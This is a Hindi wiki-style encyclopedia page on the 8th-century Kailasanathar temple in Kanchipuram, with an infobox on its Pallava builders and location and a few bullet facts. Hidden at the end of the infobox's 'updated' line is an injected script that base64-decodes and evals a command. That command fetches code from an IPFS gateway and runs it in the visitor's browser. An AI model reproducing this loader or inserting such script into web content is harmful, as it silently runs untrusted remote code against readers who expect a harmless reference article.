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− | * | + | *इस मंदिर में [[शिव]] और [[पार्वती]] की [[नृत्य]] प्रतियोगिता को दर्शाया गया है। |
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08:38, 24 मई 2012 के समय का अवतरण
कांची कैलाशनाथार मंदिर
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वर्णन | कैलाशनाथार मंदिर तमिलनाडु राज्य के कांचीपुरम शहर के पश्चिम दिशा में स्थित कांचीपुरम का सबसे प्राचीन और दक्षिण भारत के सबसे शानदार मंदिरों में एक है। |
स्थान | कांचीपुरम |
निर्माता | नरसिंह वर्मन द्वितीय, महेन्द्र वर्मन द्वितीय |
निर्माण काल | 8वीं शताब्दी |
देवी-देवता | शिव और पार्वती |
भौगोलिक स्थिति | उत्तर- 12° 50' 32.07", पूर्व- 79° 41' 22.97" |
संबंधित लेख | कामाक्षी अम्मान मंदिर, किरीकिरी पक्षी अभयारण्य, बेदानथंगल पक्षी अभयारण्य, बैकुंठ पेरुमल मंदिर, वरदराज पेरुमल मंदिर |
मानचित्र लिंक | गूगल मानचित्र |
अन्य जानकारी | कैलाशनाथार मंदिर में शिव और पार्वती की नृत्य प्रतियोगिता को दर्शाया गया है। |
अद्यतन | 10:53, 25 जनवरी 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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कैलाशनाथार मंदिर तमिलनाडु राज्य के कांचीपुरम शहर के पश्चिम दिशा में स्थित कांचीपुरम का सबसे प्राचीन और दक्षिण भारत के सबसे शानदार मंदिरों में से एक है।
- 8वीं शताब्दी में पल्लव वंश के राजा नरसिंह वर्मन द्वितीय ने अपनी पत्नी के लिए कैलाशनाथार मंदिर का निर्माण करवाया था।
- इस मंदिर के अग्रभाग का निर्माण राजा के पुत्र महेन्द्र वर्मन द्वितीय के करवाया था।
- कैलाशनाथार मंदिर का कार्य नरसिंह वर्मन द्वितीय के समय में प्रारम्भ हुआ तथा महेन्द्र वर्मन द्वितीय के समय में इसकी रचना पूर्ण हुई।
- इस मंदिर में शिव और पार्वती की नृत्य प्रतियोगिता को दर्शाया गया है।
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टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
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